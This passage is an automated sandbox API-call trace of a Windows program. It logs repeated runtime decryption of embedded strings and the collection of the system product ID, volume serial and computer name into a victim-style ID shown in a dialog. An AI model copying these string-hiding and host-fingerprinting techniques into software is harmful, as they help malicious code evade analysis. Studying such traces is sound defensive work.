hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536e58) returned 1 [0045.415] CryptDecrypt (in: hKey=0x536e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x536f70, pdwDataLen=0x18ff48 | out: pbData=0x536f70, pdwDataLen=0x18ff48) returned 1 [0045.415] CryptDestroyKey (hKey=0x536e58) returned 1 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537718 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5362e8 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537728 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x536300 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537738 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x536e58 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537748 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x536e78 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537758 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x534068 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537768 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x22) returned 0x537158 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537778 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537788 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537798 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x5340b8 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5377a8 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x536318 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5377b8 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x536330 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5377c8 [0045.416] GetProcessHeap () returned 0x520000 [0045.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x536348 [0045.416] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5377d8 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5377e8 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5377f8 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x536360 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537808 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537818 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537828 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x536378 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537838 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x536390 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537848 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537858 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537868 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5363a8 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537878 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5363c0 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537888 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537898 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5378a8 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5378b8 [0045.417] GetProcessHeap () returned 0x520000 [0045.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5378c8 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5378d8 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5378e8 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5378f8 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537908 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537918 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537928 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537938 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537948 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537958 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537968 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537978 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537988 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12) returned 0x537188 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537998 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5379a8 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5379b8 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5379c8 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5379d8 [0045.418] GetProcessHeap () returned 0x520000 [0045.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5379e8 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5379f8 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5363d8 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537a28 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537a38 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537a48 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537a58 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537a68 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5363f0 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537a78 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x536408 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536f70 | out: hHeap=0x520000) returned 1 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24) returned 0x5371a8 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537a88 [0045.419] GetProcessHeap () returned 0x520000 [0045.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x537e10 [0045.419] CryptImportKey (in: hProv=0x534c08, pbData=0x18fee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x537e78) returned 1 [0045.420] CryptDecrypt (in: hKey=0x537e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x537e10, pdwDataLen=0x18ff48 | out: pbData=0x537e10, pdwDataLen=0x18ff48) returned 1 [0045.420] CryptDestroyKey (hKey=0x537e78) returned 1 [0045.420] GetProcessHeap () returned 0x520000 [0045.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x536420 [0045.420] GetProcessHeap () returned 0x520000 [0045.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x536438 [0045.420] GetProcessHeap () returned 0x520000 [0045.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x536450 [0045.420] GetProcessHeap () returned 0x520000 [0045.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x5371d8 [0045.420] GetProcessHeap () returned 0x520000 [0045.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x534108 [0045.420] GetProcessHeap () returned 0x520000 [0045.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537e10 | out: hHeap=0x520000) returned 1 [0045.420] GetShellWindow () returned 0x100f2 [0045.420] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x41ba68 | out: lpdwProcessId=0x41ba68) returned 0x458 [0045.420] GetProcessHeap () returned 0x520000 [0045.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x537e28 [0045.421] CryptImportKey (in: hProv=0x534c08, pbData=0x18fee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536f70) returned 1 [0045.421] CryptDecrypt (in: hKey=0x536f70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x537e28, pdwDataLen=0x18ff48 | out: pbData=0x537e28, pdwDataLen=0x18ff48) returned 1 [0045.421] CryptDestroyKey (hKey=0x536f70) returned 1 [0045.421] GetProcessHeap () returned 0x520000 [0045.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x537e50 [0045.421] CryptImportKey (in: hProv=0x534c08, pbData=0x18fee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536f70) returned 1 [0045.421] CryptDecrypt (in: hKey=0x536f70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x537e50, pdwDataLen=0x18ff48 | out: pbData=0x537e50, pdwDataLen=0x18ff48) returned 1 [0045.421] CryptDestroyKey (hKey=0x536f70) returned 1 [0045.421] GetProcessHeap () returned 0x520000 [0045.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x537e78 [0045.421] CryptImportKey (in: hProv=0x534c08, pbData=0x18fee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536f70) returned 1 [0045.421] CryptDecrypt (in: hKey=0x536f70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x537e78, pdwDataLen=0x18ff48 | out: pbData=0x537e78, pdwDataLen=0x18ff48) returned 1 [0045.421] CryptDestroyKey (hKey=0x536f70) returned 1 [0045.421] GetProcessHeap () returned 0x520000 [0045.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x537ea0 [0045.421] CryptImportKey (in: hProv=0x534c08, pbData=0x18fcb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536f70) returned 1 [0045.421] CryptDecrypt (in: hKey=0x536f70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x537ea0, pdwDataLen=0x18fd24 | out: pbData=0x537ea0, pdwDataLen=0x18fd24) returned 1 [0045.421] CryptDestroyKey (hKey=0x536f70) returned 1 [0045.421] GetProcessHeap () returned 0x520000 [0045.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x536f70 [0045.421] CryptImportKey (in: hProv=0x534c08, pbData=0x18fcb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536fd8) returned 1 [0045.421] CryptDecrypt (in: hKey=0x536fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x536f70, pdwDataLen=0x18fd24 | out: pbData=0x536f70, pdwDataLen=0x18fd24) returned 1 [0045.421] CryptDestroyKey (hKey=0x536fd8) returned 1 [0045.421] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18fd28, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0045.421] GetProcessHeap () returned 0x520000 [0045.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537ea0 | out: hHeap=0x520000) returned 1 [0045.421] GetProcessHeap () returned 0x520000 [0045.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x537ea0 [0045.422] CryptImportKey (in: hProv=0x534c08, pbData=0x18fcb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536fd8) returned 1 [0045.422] CryptDecrypt (in: hKey=0x536fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x537ea0, pdwDataLen=0x18fd24 | out: pbData=0x537ea0, pdwDataLen=0x18fd24) returned 1 [0045.422] CryptDestroyKey (hKey=0x536fd8) returned 1 [0045.422] GetProcessHeap () returned 0x520000 [0045.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x536fd8 [0045.422] CryptImportKey (in: hProv=0x534c08, pbData=0x18fcb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x537040) returned 1 [0045.422] CryptDecrypt (in: hKey=0x537040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x536fd8, pdwDataLen=0x18fd24 | out: pbData=0x536fd8, pdwDataLen=0x18fd24) returned 1 [0045.422] CryptDestroyKey (hKey=0x537040) returned 1 [0045.422] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18fd28, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0045.422] GetProcessHeap () returned 0x520000 [0045.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537ea0 | out: hHeap=0x520000) returned 1 [0045.422] GetProcessHeap () returned 0x520000 [0045.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1e) returned 0x537ea0 [0045.422] GetProcessHeap () returned 0x520000 [0045.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12) returned 0x537040 [0045.422] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0045.422] DialogBoxParamW (hInstance=0x400000, lpTemplateName=0x65, hWndParent=0x0, lpDialogFunc=0x404eb0, dwInitParam=0x0) returned 0x0 [0048.163] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1001) returned 0x4011e [0048.163] EnableWindow (hWnd=0x4011e, bEnable=1) returned 0 [0048.163] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1003) returned 0x50114 [0048.163] EnableWindow (hWnd=0x50114, bEnable=1) returned 0 [0048.163] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1002) returned 0x50116 [0048.163] EnableWindow (hWnd=0x50116, bEnable=0) returned 0 [0048.163] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1008) returned 0x30160 [0048.163] EnableWindow (hWnd=0x30160, bEnable=1) returned 0 [0048.163] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1010) returned 0x202aa [0048.163] EnableWindow (hWnd=0x202aa, bEnable=1) returned 0 [0048.163] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1012) returned 0x3027c [0048.163] EnableWindow (hWnd=0x3027c, bEnable=1) returned 0 [0048.163] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1009) returned 0x3027a [0048.163] EnableWindow (hWnd=0x3027a, bEnable=1) returned 0 [0048.163] GetProcessHeap () returned 0x520000 [0048.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5350d8 [0048.163] CryptImportKey (in: hProv=0x534c08, pbData=0x18fb58, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53bde0) returned 1 [0048.164] CryptDecrypt (in: hKey=0x53bde0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5350d8, pdwDataLen=0x18fbbc | out: pbData=0x5350d8, pdwDataLen=0x18fbbc) returned 1 [0048.164] CryptDestroyKey (hKey=0x53bde0) returned 1 [0048.164] GetProcessHeap () returned 0x520000 [0048.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x538468 [0048.164] CryptImportKey (in: hProv=0x534c08, pbData=0x18fb58, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53bde0) returned 1 [0048.164] CryptDecrypt (in: hKey=0x53bde0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x538468, pdwDataLen=0x18fbbc | out: pbData=0x538468, pdwDataLen=0x18fbbc) returned 1 [0048.164] CryptDestroyKey (hKey=0x53bde0) returned 1 [0048.164] GetProcessHeap () returned 0x520000 [0048.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x535120 [0048.164] CryptImportKey (in: hProv=0x534c08, pbData=0x18f730, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53bde0) returned 1 [0048.165] CryptDecrypt (in: hKey=0x53bde0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x535120, pdwDataLen=0x18f7a0 | out: pbData=0x535120, pdwDataLen=0x18f7a0) returned 1 [0048.165] CryptDestroyKey (hKey=0x53bde0) returned 1 [0048.165] GetProcessHeap () returned 0x520000 [0048.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x538490 [0048.165] CryptImportKey (in: hProv=0x534c08, pbData=0x18f730, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53bde0) returned 1 [0048.165] CryptDecrypt (in: hKey=0x53bde0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x538490, pdwDataLen=0x18f7a0 | out: pbData=0x538490, pdwDataLen=0x18f7a0) returned 1 [0048.165] CryptDestroyKey (hKey=0x53bde0) returned 1 [0048.165] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18f79c | out: phkResult=0x18f79c*=0xec) returned 0x0 [0048.165] RegQueryValueExA (in: hKey=0xec, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18f7a8, lpcbData=0x18f7a4*=0x400 | out: lpType=0x0, lpData=0x18f7a8*=0x30, lpcbData=0x18f7a4*=0x18) returned 0x0 [0048.165] RegCloseKey (hKey=0xec) returned 0x0 [0048.165] GetProcessHeap () returned 0x520000 [0048.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x535120 | out: hHeap=0x520000) returned 1 [0048.166] GetProcessHeap () returned 0x520000 [0048.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x538490 | out: hHeap=0x520000) returned 1 [0048.166] GetProcessHeap () returned 0x520000 [0048.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x538490 [0048.166] CryptImportKey (in: hProv=0x534c08, pbData=0x18f510, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53bde0) returned 1 [0048.166] CryptDecrypt (in: hKey=0x53bde0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x538490, pdwDataLen=0x18f574 | out: pbData=0x538490, pdwDataLen=0x18f574) returned 1 [0048.166] CryptDestroyKey (hKey=0x53bde0) returned 1 [0048.166] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f578, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0048.166] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f570, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f570*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0048.167] GetProcessHeap () returned 0x520000 [0048.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x538490 | out: hHeap=0x520000) returned 1 [0048.167] wsprintfA (in: param_1=0x18f7bf, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0048.167] wsprintfW (in: param_1=0x18fbc0, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0048.167] SetWindowTextW (hWnd=0x6011c, lpString="4B2E4630") returned 1 [0048.168] wsprintfW (in: param_1=0x18f3a8, param_2="1. ID: %08X\r\n2. %s\r\n" | out: param_1="1. ID: 4B2E4630\r\n2. admin\r\n") returned 27 [0048.168] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1005) returned 0x6015a [0048.168] SetWindowTextW (hWnd=0x6015a, lpString="1. ID: 4B2E4630\r\n2. admin\r\n") returned 1 [0048.209] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1005) returned 0x6015a [0048.209] SendMessageW (hWnd=0x6015a, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0048.209] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0048.209] SendMessageW (hWnd=0x170274, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0048.209] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1010) returned 0x202aa [0048.209] SendMessageW (hWnd=0x202aa, Msg=0xf1, wParam=0x1, lParam=0x0) returned 0x0 [0048.209] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1012) returned 0x3027c [0048.209] SendMessageW (hWnd=0x3027c, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0048.209] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1008) returned 0x30160 [0048.209] SendMessageW (hWnd=0x30160, Msg=0xf1, wParam=0x1, lParam=0x0) returned 0x0 [0048.209] RegisterHotKey (hWnd=0x6011c, id=0, fsModifiers=0x3, vk=0x56) returned 1 [0048.209] GetComputerNameW (in: lpBuffer=0x18fbc0, nSize=0x18fbbc | out: lpBuffer="XDUWTFONO", nSize=0x18fbbc) returned 1 [0048.210] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1011) returned 0x202a8 [0048.210] SetWindowTextW (hWnd=0x202a8, lpString="XDUWTFONO") returned 1 [0048.210] CoInitialize (pvReserved=0x0) returned 0x0 [0049.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x405700, lpParameter=0x1, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114 [0049.857] SetTimer (hWnd=0x6011c, nIDEvent=0x1, uElapse=0x32, lpTimerFunc=0x0) returned 0x1 [0049.857] SetTimer (hWnd=0x6011c, nIDEvent=0x2, uElapse=0x3a98, lpTimerFunc=0x0) returned 0x2 [0049.857] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x118 [0049.857] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1001) returned 0x4011e [0049.857] EnableWindow (hWnd=0x4011e, bEnable=0) returned 0 [0049.859] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1003) returned 0x50114 [0049.859] EnableWindow (hWnd=0x50114, bEnable=0) returned 0 [0049.861] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1002) returned 0x50116 [0049.861] EnableWindow (hWnd=0x50116, bEnable=1) returned 1 [0049.862] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1008) returned 0x30160 [0049.862] EnableWindow (hWnd=0x30160, bEnable=0) returned 0 [0049.863] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1010) returned 0x202aa [0049.863] EnableWindow (hWnd=0x202aa, bEnable=0) returned 0 [0049.863] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1012) returned 0x3027c [0049.863] EnableWindow (hWnd=0x3027c, bEnable=0) returned 0 [0049.864] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1009) returned 0x3027a [0049.864] EnableWindow (hWnd=0x3027a, bEnable=0) returned 0 [0050.396] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0050.396] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0052.100] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0052.100] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0052.162] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0052.162] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0052.739] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0052.739] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0052.802] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 